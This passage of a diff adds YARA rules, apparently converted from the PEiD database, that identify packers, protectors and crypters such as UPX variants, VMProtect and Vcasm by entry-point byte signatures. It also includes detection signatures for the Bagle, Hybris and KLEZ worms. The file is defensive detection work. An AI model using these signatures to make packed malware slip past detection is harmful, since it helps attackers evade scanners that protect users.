+        $a = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02455_UPX_v3_0__DLL_LZMA_____Markus_Oberhumer___Laszlo_Molnar___John_Reiser_
+{
+    meta:
+        description = "[UPX v3.0 (DLL_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 C7 0B 00 00 60 BE 00 ?? ?? ?? 8D BE 00 ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02456_UPX_v3_0__EXE_LZMA_____Markus_Oberhumer___Laszlo_Molnar___John_Reiser_
+{
+    meta:
+        description = "[UPX v3.0 (EXE_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00 57 83 C3 04 53 68 ?? ?? ?? 00 56}
+    condition:
+        $a
+}
+
+rule PEiD_02457_UPX_HiT_0_0_1____sibaway7_yahoo_com_
+{
+    meta:
+        description = "[UPX$HiT 0.0.1 -> sibaway7@yahoo.com]"
+        ep_only = "false"
+    strings:
+        $a = {E2 FA 94 FF E0 61 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02458_UPX_HiT_v0_0_1_
+{
+    meta:
+        description = "[UPX$HiT v0.0.1]"
+        ep_only = "false"
+    strings:
+        $a = {94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61}
+    condition:
+        $a
+}
+rule PEiD_02459_Upx_Lock_1_0___1_2____CyberDoom___Team_X___BoB___BobSoft_
+{
+    meta:
+        description = "[Upx-Lock 1.0 - 1.2 -> CyberDoom / Team-X & BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61}
+    condition:
+        $a
+}
+
+rule PEiD_02460_UPX_SCRAMBLER_3_06_____OnT_oL_
+{
+    meta:
+        description = "[UPX-SCRAMBLER 3.06 -> OnToL]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6}
+    condition:
+        $a
+}
+rule PEiD_02461_UPX_Scrambler_by_Guru_eXe_
+{
+    meta:
+        description = "[UPX-Scrambler by Guru.eXe]"
+        ep_only = "false"
+    strings:
+        $a = {66 C7 05 ?? ?? ?? ?? 75 07 E9 ?? FE FF FF 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02462_UPX_Scrambler_RC_v1_x_
+{
+    meta:
+        description = "[UPX-Scrambler RC v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+    condition:
+        $a
+}
+
+rule PEiD_02463_UPX_Shit_0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit 0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+    condition:
+        $a
+}
+
+rule PEiD_02464_UPX_Shit_0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit 0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+    condition:
+        $a
+}
+
+rule PEiD_02465_UPX_Shit_v0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit v0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+    condition:
+        $a
+}
+rule PEiD_02466_UPX_Shit_v0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit v0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02467_UPX_Shit_v0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit v0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5E 83 C6 ?? AD 89 C7 AD 89 C1 AD 30 07 47 E2 ?? AD FF E0 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02468_UPXcrypter____archphase_NWC_
+{
+    meta:
+        description = "[UPXcrypter -> archphase/NWC]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02469_UPXFreak_0_1__Borland_Delphi_____HMX0101_
+{
+    meta:
+        description = "[UPXFreak 0.1 (Borland Delphi) -> HMX0101]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02470_UPXFreak_v0_1__Borland_Delphi_____HMX0101_
+{
+    meta:
+        description = "[UPXFreak v0.1 (Borland Delphi) -> HMX0101]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 34 50 45 00 ?? ?? ?? 00 FF FF 00 00 ?? 24 ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 40 00 00 C0 00 00 ?? ?? ?? ?? 00 00 ?? 00 00 00 ?? 1E ?? 00 ?? F7 ?? 00 A6 4E 43 00 ?? 56 ?? 00 AD D1 42 00 ?? F7 ?? 00 A1 D2 42 00 ?? 56 ?? 00 0B 4D 43 00 ?? F7 ?? 00 ?? F7 ?? 00 ?? 56 ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 77 ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02471_UPXFreak_V0_1____HMX0101_
+{
+    meta:
+        description = "[UPXFreak V0.1 -> HMX0101]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02472_UPXLock_v1_0____CyberDoom_
+{
+    meta:
+        description = "[UPXLock v1.0 -> CyberDoom]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 60 E8 2B 03 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02473_UPXLock_v1_1____CyberDoom___Bob_
+{
+    meta:
+        description = "[UPXLock v1.1 -> CyberDoom & Bob]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? 00 60}
+    condition:
+        $a
+}
+
+rule PEiD_02474_UPXShit_0_06_
+{
+    meta:
+        description = "[UPXShit 0.06]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02475_USERNAME_v3_00_
+{
+    meta:
+        description = "[USERNAME v3.00]"
+        ep_only = "true"
+    strings:
+        $a = {FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6}
+    condition:
+        $a
+}
+
+rule PEiD_02476_USSR_0_31___by_Spirit_
+{
+    meta:
+        description = "[USSR 0.31 - by Spirit]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 C5 12 55 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 8C C9 30 C9 E3 01 C3 BE 32 ?? ?? ?? B0 ?? 30 06 8A 06 46 81 FE 00 ?? ?? ?? 7C F3}
+    condition:
+        $a
+}
+
+rule PEiD_02477_USSR_V0_31____SpiritST___Sign_by_fly_
+{
+    meta:
+        description = "[USSR V0.31 -> SpiritST ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02478_USSR_V0_31____SpiritST_
+{
+    meta:
+        description = "[USSR V0.31 -> SpiritST]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02479_Utah_RLE_Graphics_format_
+{
+    meta:
+        description = "[Utah RLE Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 CC 00 00 00 00 ?? ?? ?? ?? 09 ?? 08 ?? 08}
+    condition:
+        $a
+}
+rule PEiD_02480_v_02Packer____tt_t_
+{
+    meta:
+        description = "[v.02Packer -> tt.t]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 36 FE FF FF C3 90 ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02481_VBOX_v4_2_MTE_
+{
+    meta:
+        description = "[VBOX v4.2 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5}
+    condition:
+        $a
+}
+
+rule PEiD_02482_VBOX_v4_3___v4_6_
+{
+    meta:
+        description = "[VBOX v4.3 - v4.6]"
+        ep_only = "false"
+    strings:
+        $a = {8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4}
+    condition:
+        $a
+}
+
+rule PEiD_02483_VBOX_v4_3___v4_6_
+{
+    meta:
+        description = "[VBOX v4.3 - v4.6]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5}
+    condition:
+        $a
+}
+
+rule PEiD_02484_VBOX_v4_3___v4_6_
+{
+    meta:
+        description = "[VBOX v4.3 - v4.6]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 90 03 C4 33 C4 33 C5 2B C5 33 C5 8B C5 ?? ?? 2B C5 48 ?? ?? 0B C0 86 E0 8C E0 ?? ?? 8C E0 86 E0 03 C4 40}
+    condition:
+        $a
+}
+
+rule PEiD_02485_VBOX_v4_3_MTE_
+{
+    meta:
+        description = "[VBOX v4.3 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0}
+    condition:
+        $a
+}
+
+rule PEiD_02486_VcAsm_Protector____VcAsm_
+{
+    meta:
+        description = "[VcAsm Protector -> VcAsm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02487_VcAsm_Protector_V1_0X____VcAsm_
+{
+    meta:
+        description = "[VcAsm Protector V1.0X -> VcAsm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02488_Vcasm_Protector_V1_X____vcasm_
+{
+    meta:
+        description = "[Vcasm Protector V1.X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 5B 56 50 72 6F 74 65 63 74 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02489_Vcasm_Protector_1_0_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+    condition:
+        $a
+}
+
+rule PEiD_02490_Vcasm_Protector_1_0_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9}
+    condition:
+        $a
+}
+rule PEiD_02491_Vcasm_Protector_1_0a___1_0d____vcasm_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0a - 1.0d -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02492_Vcasm_Protector_1_0e____vcasm_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0e -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02493_Vcasm_Protector_1_1___1_2____vcasm_
+{
+    meta:
+        description = "[Vcasm-Protector 1.1 - 1.2 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02494_vfp_exeNc_V5_00____Wang_JianGuo_
+{
+    meta:
+        description = "[vfp&exeNc V5.00 -> Wang JianGuo]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+    condition:
+        $a
+}
+
+rule PEiD_02495_vfp_exeNc_v6_00____Wang_JianGuo_
+{
+    meta:
+        description = "[vfp&exeNc v6.00 -> Wang JianGuo]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+    condition:
+        $a
+}
+
+rule PEiD_02496_Video_CD_file_
+{
+    meta:
+        description = "[Video-CD file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 58 41 66 6D 74}
+    condition:
+        $a
+}
+
+rule PEiD_02497_Video_Lan_Client_____UnknownCompiler__
+{
+    meta:
+        description = "[Video-Lan-Client -> (UnknownCompiler)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02498_Video_Lan_Client_
+{
+    meta:
+        description = "[Video-Lan-Client]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02499_Virogen_Crypt_v0_75_
+{
+    meta:
+        description = "[Virogen Crypt v0.75]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_02500_Virogen_s_PE_Shrinker_v0_14_
+{
+    meta:
+        description = "[Virogen`s PE Shrinker v0.14]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74}
+    condition:
+        $a
+}
+
+rule PEiD_02501_VIRUS___I_Worm_Bagle_
+{
+    meta:
+        description = "[VIRUS - I-Worm.Bagle]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_02502_VIRUS___I_Worm_Bagle_
+{
+    meta:
+        description = "[VIRUS - I-Worm.Bagle]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00 00 E8 B1 00 00 00 EB F4 CC FF 25 A4 40 40 00 FF 25 B8 40 40 00 FF 25 B4 40 40 00 FF 25 B0 40 40 00 FF 25 AC 40 40 00 FF 25 9C 40 40 00 FF 25 A0 40 40 00 FF 25 A8 40 40 00 FF 25 24 40 40 00 FF 25 28 40 40 00 FF 25 2C 40 40 00 FF 25 30 40 40 00 FF 25 34 40 40 00 FF 25 38 40 40 00 FF 25 3C 40 40 00 FF 25 40 40 40 00 FF 25 44 40 40 00 FF 25 48 40 40 00 FF 25 4C 40 40 00 FF 25 50 40 40 00 FF 25 54 40 40 00 FF 25 58 40 40 00 FF 25 5C 40 40 00 FF 25 60 40 40 00 FF 25 BC 40 40 00 FF 25 64 40 40 00 FF 25 68 40 40}
+    condition:
+        $a
+}
+
+rule PEiD_02503_VIRUS___I_Worm_Hybris_
+{
+    meta:
+        description = "[VIRUS - I-Worm.Hybris]"
+        ep_only = "false"
+    strings:
+        $a = {EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15}
+    condition:
+        $a
+}
+rule PEiD_02504_VIRUS___I_Worm_KLEZ_
+{
+    meta:
+        description = "[VIRUS - I-Worm.KLEZ]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0}
+    condition:
+        $a
+}
+
+rule PEiD_02505_VisualUPX_0_2____emadicius_
+{
+    meta:
+        description = "[VisualUPX 0.2 -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {66 C7 05 ?? ?? ?? 00 75 07 E9 ?? FE FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02506_VMProtect_0_7x___0_8____PolyTech_
+{
+    meta:
+        description = "[VMProtect 0.7x - 0.8 -> PolyTech]"
+        ep_only = "false"
+    strings:
+        $a = {5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02507_VMProtect_0_x____PolyTech_
+{
+    meta:
+        description = "[VMProtect 0.x -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {5B 20 56 4D 50 72 6F 74 65 63 74 20}
+    condition:
+        $a
+}
+
+rule PEiD_02508_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06}
+    condition:
+        $a
+}
+
+rule PEiD_02509_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06}
+    condition:
+        $a
+}
+
+rule PEiD_02510_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06}
+    condition:
+        $a
+}
+
+rule PEiD_02511_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_02512_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59}
+    condition:
+        $a
+}
+
+rule PEiD_02513_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A}
+    condition:
+        $a
+}
+
+rule PEiD_02514_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B}
+    condition:
+        $a
+}
+
+rule PEiD_02515_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02516_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02517_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02518_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_02519_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02520_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02521_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02522_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02523_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
